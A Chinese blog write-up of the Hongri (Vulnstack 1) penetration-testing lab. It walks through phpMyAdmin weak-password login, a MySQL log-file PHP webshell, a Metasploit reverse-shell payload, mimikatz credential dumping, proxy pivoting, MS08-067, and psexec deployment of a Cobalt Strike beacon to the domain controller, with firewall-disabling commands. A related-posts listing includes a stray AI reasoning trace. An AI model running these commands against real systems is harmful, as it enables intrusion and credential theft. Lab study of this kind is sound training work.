红日靶场1实战经验

最新推荐文章于 2025-04-10 11:00:04 发布
最新推荐文章于 2025-04-10 11:00:04 发布
阅读量1.1w 收藏 66
点赞数 11
分类专栏： 靶机学习 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/YouthBelief/article/details/120974079
版权

红日靶场一

0x00前言

靶场地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
感谢红日团队提供的靶场
靶机初始密码 均为 hongrisec@2019

0x01环境搭建

VMwareWorkstation搭建

攻击机		kali	ip	 192.168.157.137
web服务器	win7	ip	 192.168.157.153	192.168.52.143
域成员		win2003	ip	 					192.168.52.141
域控			win2008	ip						192.168.52.138

win7 web虚拟机 开启 phpstudy服务

网络拓扑如下

在这里插入图片描述

0x02web渗透

1 信息收集

1.1探测内网存活

netdiscover -i eth0 -r 192.168.157.0/24

在这里插入图片描述
192.168.157.153为目标机器ip

1.2端口扫描

masscan扫描速度快 可先用masscan扫描开放的端口
再用nmap扫描详细信息

1.2.1 masscan扫描

masscan 192.168.157.153 -p 1-65535 --rate=1000
如果是真实机 会存在rate过高可能会被封，可以调低一点
在这里插入图片描述
扫出80和3306端口

1.2.2 nmap扫描

nmap -sC -sV -p 80,3306 192.168.157.153 -o 192.168.157.153.txt
在这里插入图片描述
开启 80 和3306
可以看到 是phpstudy 搭建的

1.2.3 访问80端口

是一个phpstudy探针页面
可以看到 服务器信息 网站路径
在这里插入图片描述

1.2.4 目录爆破 看还存在扫描页面

使用御剑目录扫描进行目录爆破
或者kali自带的 dirbuster在这里插入图片描述
扫出phpmyadmin 页面

服务漏洞利用思路

如果 可以登录进去 就可以 执行数据库命令 。
权限够的话
可以 通过 写入 一句话木马文件， into outfile into dumpfile
或者开启日志记录，写入一句话木马 进行连接。

2 漏洞利用

2.1 探测phpmyadmin页面

访问成功
尝试 暴力破解登录
如下两图
在这里插入图片描述

在这里插入图片描述
爆破出弱口令 root root

select user() 命令 为 root用户登录
在这里插入图片描述

2.1 phpmyadmin漏洞利用

2.1.1 看是否可以写入文件
mysql   into写入文件：使用需看要secure_file_priv的值。
	value为“null”时，不允许读取任意文件
	value为其余路径时，表示该路径可以读写文件
	value为“空”时，允许读取任意文件

用show global variables like '%secure%' 命令查看

在这里插入图片描述
为NULL不可写入文件
要想修改 Value值 只能通过配置文件 mysql.ini 修改
放弃

2.1.2 尝试用日志写入木马getshell

开启mysql日志功能：

	1.查看日志功能是否开启
	show global variables like '%general%'
	2.未开启的话设置为 on
	set global general_log='ON'
	3.开启后将日志文件的存储位置改为可访问到的目录， 根目录即可
	set global  general_log_file = 'C:/phpStudy1/WWW/3.php'
	4.执行下边一句话木马 
	数据库将会将查询语句保存在日志文件中
	SELECT '<?php @eval($_POST["cmd"]); ?>'
	5.写入成功后 使用蚁剑连接

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
均执行成功

2.1.3 蚁剑连接

在这里插入图片描述
在这里插入图片描述
连接webshell成功

3 拿下webshell后信息收集

3.1 是否存在域

判断方法
1.whoami hostname   对比
2.ipconfig /all 看DNS
3.systeminfo  看是否有域一栏

在这里插入图片描述
在这里插入图片描述

3.2 网络连接情况 进程 杀软 服务 是否可以出网 用户开放情况

1.ipconfig 看所处网段是否有多个
2.netstat -ano 查看网络连接和开放端口
3.net start  查看启动的服务  用于提权
4.tasklist   查看开启的进程
5.tasklist /SVC 复制到在线杀软识别 看存在的杀软情况  https://i.hacking8.com/tiquan
6. ping baidu  看是否可以出网等 
7. net user   存在用户

3.3 翻文件 txt 类型的 看是否有密码

后续补充

因为在域内 所以 有必要进行后渗透 拿下域控

0x03后渗透

1.msf上线

生成exe木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.157.137 LPORT=2333 -f exe > hack.exe 
开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 2333
set lhost 192.168.157.137
exploit -j

在这里插入图片描述

将生成的exe木马通过蚁剑上传到 目标服务器 执行
在这里插入图片描述
在这里插入图片描述

成功上线
在这里插入图片描述

可输入 ？查看 可执行的命令

在这里插入图片描述

2.msf信息收集

1.msf arp 发现主机  开机状态下才可探测出 我现在只开了ip141的 所以下图只扫出141
	run arp_scanner -r  192.168.52.0/24
	
2.run post/multi/recon/local_exploit_suggester      查看msf的提权

在这里插入图片描述

在这里插入图片描述

3.提权

getuid查看服务器权限
getsystem 提权
getuid 查看是否提权成功

在这里插入图片描述

4.抓取域用户的密码信息

以下3种都可尝试
1.ruan hashdump
2.加载 kiwi模块
load kiwi     加载kiwi模块
creds_all    列出所有凭据
3.加载mimikatz模块
Windows10/2012 以下的版本可以直接抓取明文密码
	再尝试加载 mimikatz 模块，加载模块前需要先将meterpreter迁移到64位的进程，
	而且该进程也需要 是system权限运行的。 
	ps 查看进程
migrate PID 
load mimikatz 
mimikatz_command -f sekurlsa::searchPasswords

在这里插入图片描述

在这里插入图片描述

5.知道密码后 可以通过3389连接

5.1 检查3389是否开启

nmap -p 3389 192.168.157.153
filtered 被过滤 应该是 防火墙阻拦
在这里插入图片描述### 4.2开启3389
run post/windows/manage/enable_rdp
再次扫描已经开启
在这里插入图片描述
在这里插入图片描述

6 跨网段横向渗透

6.1 msf socks4a proxychains 穿透内网

添加路由
1. run autoroute -s 192.168.52.0/24		添加路由
2. run autorout -p       查看是否添加成功 
3. background           返回
4. route print			输出路由
5. use auxiliary/server/socks4a		使用 socks4a模块
6. set srvport 1080		设置端口1080
7. run		运行

在这里插入图片描述
添加成功

在这里插入图片描述

配置 kali socks代理
配置proxychains：

vi /etc/proxychains.conf

在这里插入图片描述

6.2测试是否成功

proxychains curl 192.168.52.143
访问成功 说明 代理添加成功
Proxychains nmap -sT -Pn 192.168.52.143

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

6.3 登录后 进行域内信息收集

net time /domain        #查看时间服务器
net user /domain        #查看域用户
net view /domain        #查看有几个域
net view /domain:GOD  #查看GOD	域情况
nslookup  主机名	 		#查看域内其他主机  可能ip查不出来
net group "domain computers" /domain         #查看域内所有的主机名
net group "domain admins"   /domain          #查看域管理员
net group "domain controllers" /domain       #查看域控

7 跨网段主机信息收集

7.1 内网存活主机探测

auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname         #基于netbios协议发现内网存活主机

7.2 内网存活主机端口扫描

proxychains nmap -Pn -sT 192.168.52.141
auxiliary/scanner/portscan/tcp           #基于tcp进行端口扫描(默认扫描1-10000)

在这里插入图片描述

7.3 内网存活主机服务探测

auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务，基于默认21端口
auxiliary/scanner/ssh/ssh_version            #发现内网ssh服务，基于默认22端口
auxiliary/scanner/telnet/telnet_version      #发现内网telnet服务，基于默认23端口
auxiliary/scanner/dns/dns_amp                #发现dns服务，基于默认53端口
auxiliary/scanner/http/http_version          #发现内网http服务，基于默认80端口
auxiliary/scanner/http/title                 #探测内网http服务的标题
auxiliary/scanner/smb/smb_version            #发现内网smb服务，基于默认的445端口   
auxiliary/scanner/mssql/mssql_schemadump     #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump     #发现内网oracle服务,基于默认的1521端口 
auxiliary/scanner/mysql/mysql_version        #发现内网mysql服务，基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner            #发现内网RDP服务，基于默认3389端口
auxiliary/scanner/redis/redis_server         #发现内网Redis服务，基于默认6379端口
auxiliary/scanner/db2/db2_version            #探测内网的db2服务，基于默认的50000端口
auxiliary/scanner/netbios/nbname             #探测内网主机的netbios名字

8.横向渗透

8.1 MS08_067拿下域成员服务器

MS08-067漏洞将会影响除Windows Server 2008 Core以下的所有Windows系统，包括：Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本，甚至还包括测试阶段的Windows 7 Pro-Beta。

use exploit/windows/smb/ms08_067_netapi
set rhost 192.168.52.141
set payload windows/meterpreter/bind_tcp
run

在这里插入图片描述
不稳定会掉
也会出现弹窗
在这里插入图片描述

8.2 拿下域控

8.2.1 msf派生给cs
use exploit/windows/local/payload_inject 
set payload windows/meterpreter/reverse_http 
set DisablePayloadHandler true #默认情况下，payload_inject执行之后会在本地产生一个新 的handler，由于我们已经有了一个，所以不需要在产生一个，所以这里我们设置为true 
set lhost 192.168.157.137 #cobaltstrike监听的ip 
set lport 14444 #cobaltstrike监听的端口 
set session 1 #这里是获得的session的id 
exploit

在这里插入图片描述
在这里插入图片描述

cs上线成功

8.2.2 cs基于web服务器生成监听器

在这里插入图片描述

8.2.3 psexec攻击
Psexec针对远程建立连接的方式有两种，一种先建立IPC通道连接，然后直接使用，操作如下：
net use \\192.168.0.1\ipc$ “password” /user:administrator
psexec.exe \\192.168.0.1 cmd                   进入半交互式cmdshell  ；
另一种时在psexec的参数中指定账户密码    操作如下：
psexec.exe \\192.168.0.1 –u administrator –p password
命令参考
https://www.cnblogs.com/wuyuan2011woaini/p/9561122.html

通过蚁剑上传psexec64.exe 到web服务器

web执行 psexec命令

1.#上传木马文件
PsExec64.exe -accepteula \\192.168.52.138 -u god\administrator -p hongrisec@2020 -d -c C:\windows\temp\beacon64.exe
2.#打开 域控cmd  并执行 上线
PsExec64.exe -accepteula \\192.168.52.138 -u god\administrator -p hongrisec@2020 -s cmd
cd..                 #返回到上级 c:/windows目录
dir | findstr beacon		#看是否上传beacon32.exe成功
beacon64.exe				#执行

命令1上传木马
如上图显示这样就上传成功可以 连接cmd查看 c:\wndows目录下 是否存在 存在就执行

命令2连接cmd执行

发现并未上线。
思考原因

因为使用的是 反向连接的木马 
可以web服务器关闭防火墙 或者 开启 监听端口 
NetSh Advfirewall set allprofiles state off  #关闭防火墙
Netsh Advfirewall show allprofiles            #查看防火墙状态
域控服务器执行exe后，反向链接192.168.52.143 的 55555端口 
而 web服务器 防火墙处于开启状态，可以放开 55555端口 在运行看是否上线成功
web服务器输入以下命令开启 或者手动开启
netsh advfirewall firewall add rule name="beacon" dir=in protocol=tcp localport=55555 action=allow

关闭后在运行
成功上线

在这里插入图片描述

拿下域控

在这里插入图片描述

红日靶场渗透测试——红日靶场1（详细笔记）
qq_52849046的博客
05-24 1万+
这篇博客是为小编自己学习记录的同时，分享出来让大神们共同检阅，如有问题，还请各位大神在评论区多多指点。ps：此文章仅学习使用，切勿用于实战，容易被gangan
红日靶场1（渗透记录）
b1n的博客
09-12 2095
分享的靶机实战环境，这篇博客是为自己记录的同时分享出来让大佬们共同检阅，如有问题，还请多多指教。
vunlnstack红日1靶场实战【附图文】
2402_83115004的博客
03-15 779
少年，你渴望力量吗？想要千里之外就控制别人的电脑账号吗？想要看到对方的一切吗？当然帽子叔叔也会想了解你的，本篇是基于靶场vunlnstack红日1的实战篇，让大家合法的入侵电脑进行练习，由于内容可能过长，本文就讲到控制远程服务器，基于外网的控制，后面我会更新如何进行内网渗透拿下域控。想要满足下黑客瘾的同学，你来对地方了。创作不易，给孩子个关注吧。成功截图（可以看到我们已经成功控制另一台电脑了）由此我们就得到了web服务器的控制权了，可以随意操作了，当然靶场的最终目的，也是黑客的最终目的不仅于此，
Vulnstack红日靶场2二：从0到1的超详细操作指南（新手小白都会的通俗易懂教程）
m0_74631795的博客
02-22 1526
翻车了，这里不明白为什么还是不行，我试过从WEB主机，就算没有黄金票据也可以访问C盘。不过原理还是这样子的，原本没有权限访问，制作黄金票据后可以访问，如果大家有知道原因的话可以在评论区告诉我。如果在扫描或测试过程中发现7001端口开放，可能存在多种已知漏洞，这些漏洞可能会被攻击者利用。krbtgt用户是域中用来管理发放票据的用户，拥有了该用户的权限，就可以伪造系统中的任意用户。跳出弹窗后，开启360，账号为“Administrator”，密码不变。建议使用物理主机连接手机热点操作，校园网内可能不方便操作。
红日靶场1（wmi和smb移动版）
最新发布
2301_78280833的博客
04-10 1049
红日靶场，wmi和smb横向手法
红日靶场-1详细解析（适合小白版）
jnszstmei的博客
11-17 5425
红日靶场涉及内网知识，和前期靶场不太一样，前期靶场大部分都是单个靶机获得root权限，而这一次更综合，后期也会继续学习内网知识，继续打红日靶场，提高自己的综合技能。
红日靶场1
woshicainiao666的博客
01-13 2107
我们可以看到使用kiwi模块，爆不出密码，是因为kiwi默认是32位的系统，而win7是64位的系统，不兼容，所以我们需要将meterpreter模块迁移到64位的进程中。net config workstation ---------查看当前的域的信息。net view /domain ---------查看本机的域。第一个网卡选择------VMwear1（仅主机模式）net time /domain ----------查找域控。net view ---------查看当前域中计算机的名称。
红日靶场第一关
红队是青春
11-16 7296
红日靶场第一关 一、环境配置 NET网卡（kali、windows） kali：172.16.12.187 windows：172.16.12.1 靶机win7：172.16.12.127 VMnet2网卡（内网靶机Win2K3、内网靶机Win2008 R2） 内网靶机Win2K3:192.168.52.141 内网靶机Win2008 R2：192.168.52.138 内网靶机win7：192.168.52.163 二、目标 一、环境搭建 1.环境搭建测试 2.信息收集 二、漏洞利用 3.漏洞搜集与利用
红日靶场(一)
qq_58091216的博客
05-01 3380
红一1. 实验环境拓扑如下：2. 下载好镜像文件，下载地址:(13G，需要百度网盘会员)3.需要模拟内网和外网两个网段， Win7 虚拟机相当于网关服务器，所以需要两张网卡，一个用来向外网提供web服务，一个是通向内网。添加网络设配器如下图将 Win7 的网络适配器 1 设置成 VMnet1 仅主机模式（内网），网络适配器 2 设置成 NAT 模式（外网）而 Win2003、Win2008 网络适配器设置成VMnet1仅主机模式(内网)。网络配置完成，这三台虚拟主机默认开机密码都是。
Vulnstack红日安全内网域渗透靶场1实战_vulnstack靶场(1)
2401_84297455的博客
04-28 1078
VulnStack是由红日安全团队倾力打造一个靶场知识平台，靶场环境（CMS、漏洞管理、以及域管理等）全部依据国内企业的业务习惯进行模拟，环境设计思路全部来源 ATT&CK 红队评估设计模式，从环境搭建、漏洞利用、内网搜集、横向移动、构建通道、持久控制、痕迹清理等方式进行搭建靶场和设计题目。为了进一步学习内网渗透，本文将学习并记录红日安全团队提供的一个内网域环境靶场的渗透过程。
Vulnstack红日安全内网域渗透靶场1实战_vulnstack靶场
2401_84297455的博客
04-28 3250
VulnStack是由红日安全团队倾力打造一个靶场知识平台，靶场环境（CMS、漏洞管理、以及域管理等）全部依据国内企业的业务习惯进行模拟，环境设计思路全部来源 ATT&CK 红队评估设计模式，从环境搭建、漏洞利用、内网搜集、横向移动、构建通道、持久控制、痕迹清理等方式进行搭建靶场和设计题目。为了进一步学习内网渗透，本文将学习并记录红日安全团队提供的一个内网域环境靶场的渗透过程。在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。
渗透测试-红日靶场一
konglong12311的博客
05-22 2001
小编的文章仅学习使用，同时记录小编的学习笔记；如有错漏恳请大神指点，如遇问题可在评论区交流；切勿用于非法行为。
红日靶场（一）
weixin_55554070的博客
03-01 6090
一、环境配置 1.靶场下载地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 2.环境IP配置： kali：net模式（外网）：192.168.159.131 win7： VMnet1（内网）：192.168.52.143 net模式（外网）：192.168.159.136 3.测试连通性： win7能ping通所有主机，所有主机都ping不通win7，因为win7的防火墙过滤了icmp 4.开启web服务 在win7上使用phpst
红日靶场1搭建&渗透
m0_75178803的博客
02-03 4241
前面我们登录进去之后，可以看到还有一个yxcms的数据库，同时我们进入后台之后，可以看到一个 beifen.rar备份文件和yxcms目录，这道题其实还有一种getshell的方法，这里我们也记录一下。那么如果修改 general_log_file 的值为一个php文件，则所执行的 SQL 语句就会对应生成在对应的文件中，进而可 Getshell。，即可将一句话木马写入 hack.php 文件中 访问/hack.php 成功写入，也能访问页面，那就用蚁剑直接连一下看看。
Vulnstack红日安全内网域渗透靶场1实战
热门推荐
道阻且长，行则将至
07-14 1万+
文章目录前言靶场搭建外网打点MySQL写日志GetshellCMS后台上传GetShell内网渗透靶机CS后门上线内网域信息的收集 前言 VulnStack 是由红日安全团队倾力打造一个靶场知识平台。为了进一步学习内网渗透，本文将学习并记录红日安全团队提供的一个内网域环境靶场的渗透过程。 靶场搭建 在线 靶场链接 如下： 1、下载后为 3 个虚拟机，网络拓扑如下： 2、从网络拓扑图得知，需要模拟内网和外网两个网段， Win7 虚拟机相当于网关服务器，所以需要两张网卡，故需要配置两个网络适配器（网卡），点击
红日靶场学习笔记【1】
m0_46127592的博客
04-01 3305
这篇文章主要记录一下我玩红日靶场（1）的一些过程以及在这期间学习到的一些东西
2021-7-7红日团队靶场一
qq_45290991的博客
07-16 1万+
这是第二次打靶场，也是实战第一次。写的比较详（luo）细（suo），看官莫怪。期间参考了很多资料，后来我也看了好几个，觉得谢公子大佬写的最详细，这里安利一波大佬神文：谢公子红日靶场一 一、环境配置 首先感谢红日安全团队分享的靶机实战环境。红队实战系列，主要以真实企业环境为实例搭建一系列靶场，通过练习、视频教程、博客三位一体学习。 靶机下载地址：http://vulnstack.qiyuanxuetang.net/vuln/ 本文的目的是为了记录和巩固知识点，并分享出来，希望对大家能有所帮助。
红日靶场一
qq_26947429的博客
07-28 2451
一、环境搭建 1.环境搭建测试 2.信息收集 二、漏洞利用 3.漏洞搜索与利用 4.后台Getshell上传技巧 5.系统信息收集 6.主机密码收集 三、内网搜集 7.内网--继续信息收集 8.内网攻击姿势--信息泄露 9.内网攻击姿势-MS08-067 10.内网攻击姿势-SMB远程桌面口令猜测 11.内网攻击姿势-Oracle数据库TNS服务漏洞 12.内网攻击姿势-RPC DCOM服务漏洞 四、横.
红日靶场vulnstack1（上）
errorr0
04-14 2054
红日1的网络配置
红日靶场1环境搭建
03-20
<think>好的，用户想了解如何搭建红日靶场的环境，需要教程和配置指南。我需要根据提供的引用信息来整理步骤。首先，引用[1]和[2]提到了红日靶场的官网和配置说明，应该从这里获取官方资料。引用[3]中的内容详细描述了靶场搭建的拓扑图、网络配置，以及外网打点的步骤，比如nmap扫描、目录扫描、利用phpmyadmin日志getshell等。引用[4]提供了一个超详细的操作指南，适合新手，可能包含具体的虚拟机设置和权限配置，比如关闭Win7防火墙、黄金票据的制作问题。此外，用户可能需要知道环境搭建后的内网攻击步骤，如ms17_010漏洞扫描和利用。 需要注意的是，引用[3]中的目录结构可能对应不同的阶段，比如外网渗透、内网信息搜集、横向移动等，但用户现在需要的是环境搭建部分。所以应该聚焦在拓扑图配置、网络设置、虚拟机安装等方面。引用[4]提到制作黄金票据后访问域控的问题，虽然属于后期渗透测试的内容，但环境搭建时需要正确配置域控权限和网络策略，避免出现访问问题。 另外，用户可能对虚拟机软件的选择（如VMware或VirtualBox）、镜像导入、网络适配器配置（如NAT、仅主机模式）有疑问，需要详细说明。引用[3]中的“配置网络”可能涉及设置多个虚拟机的IP地址，确保它们在同一子网内，并正确隔离内外网环境。可能还需要关闭防火墙（如Win7防火墙）以便测试，如引用[4]所述。 需要提醒用户注意版权问题，确保从官网下载资源，避免使用非官方镜像。同时，步骤中可能涉及复杂的内网渗透配置，建议分阶段验证，例如先确保各虚拟机互通，再测试外网到内网的连通性。可能遇到的常见问题包括网络不通、服务未启动、权限配置错误等，需提供排查方法，比如检查IP设置、服务状态、防火墙规则等。 最后，根据引用[5]，可能有培训课程提供更深入的指导，但用户目前只需基础搭建步骤。因此，回答应结构清晰，分步骤说明，并附上相关引用来源，确保信息可靠。需要检查是否有遗漏的关键点，如虚拟机快照管理、必要的软件安装（如phpMyAdmin、XSS平台等），以及后续测试的基本流程概述，帮助用户搭建后验证环境是否成功。</think>### 红日靶场环境搭建指南 #### 1. **环境准备** - **官网资源下载** 访问红日靶场官网[^2]获取镜像文件（如Windows Server、Win7等虚拟机镜像）及拓扑图。建议使用VMware Workstation或VirtualBox作为虚拟化平台。 - **网络拓扑理解** 根据引用[3]中的靶场拓扑图，配置内外网隔离环境。典型结构包含外网WEB服务器、内网域控服务器（DC）和多个内网主机，需设置NAT和仅主机模式网卡实现网络分层。 #### 2. **虚拟机配置** - **镜像导入与网络适配** 将下载的OVA/OVF镜像导入虚拟机软件，为每台虚拟机分配网络适配器： - **WEB服务器**：外网网卡（NAT模式） + 内网网卡（仅主机模式） - **内网主机（如Win7）**：仅主机模式网卡 - **域控服务器（DC）**：仅主机模式网卡 - **IP地址设置** 根据拓扑图手动配置静态IP，确保内外网互通。例如： - WEB服务器外网IP：`192.168.1.100`，内网IP：`10.10.10.2` - 域控服务器IP：`10.10.10.1` - Win7主机IP：`10.10.10.3` #### 3. **服务与权限配置** - **关闭防火墙** 在Win7和域控服务器中关闭系统防火墙（引用[4]），避免拦截测试流量： ```cmd netsh advfirewall set allprofiles state off ``` - **域环境搭建** 在域控服务器安装Active Directory服务，创建测试域（如`test.local`），将Win7主机加入域。确保域账户权限正常，用于后续黄金票据测试[^4]。 #### 4. **漏洞环境验证** - **外网渗透测试** 使用Kali Linux对WEB服务器进行扫描（引用[3]）： ```bash nmap -sV 192.168.1.100 dirsearch -u http://192.168.1.100 -e php,asp ``` - **内网连通性检查** 从WEB服务器通过内网IP访问域控共享目录，验证网络隔离是否生效： ```cmd dir \\10.10.10.1\C$ ``` #### 5. **常见问题解决** - **网络不通** 检查虚拟机网卡模式、IP地址是否冲突，确保网关和DNS设置正确。 - **权限访问失败** 若黄金票据制作后仍无法访问域控（引用[4]），需检查Kerberos票据有效期、系统时间同步及SPN配置。
评论 6
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值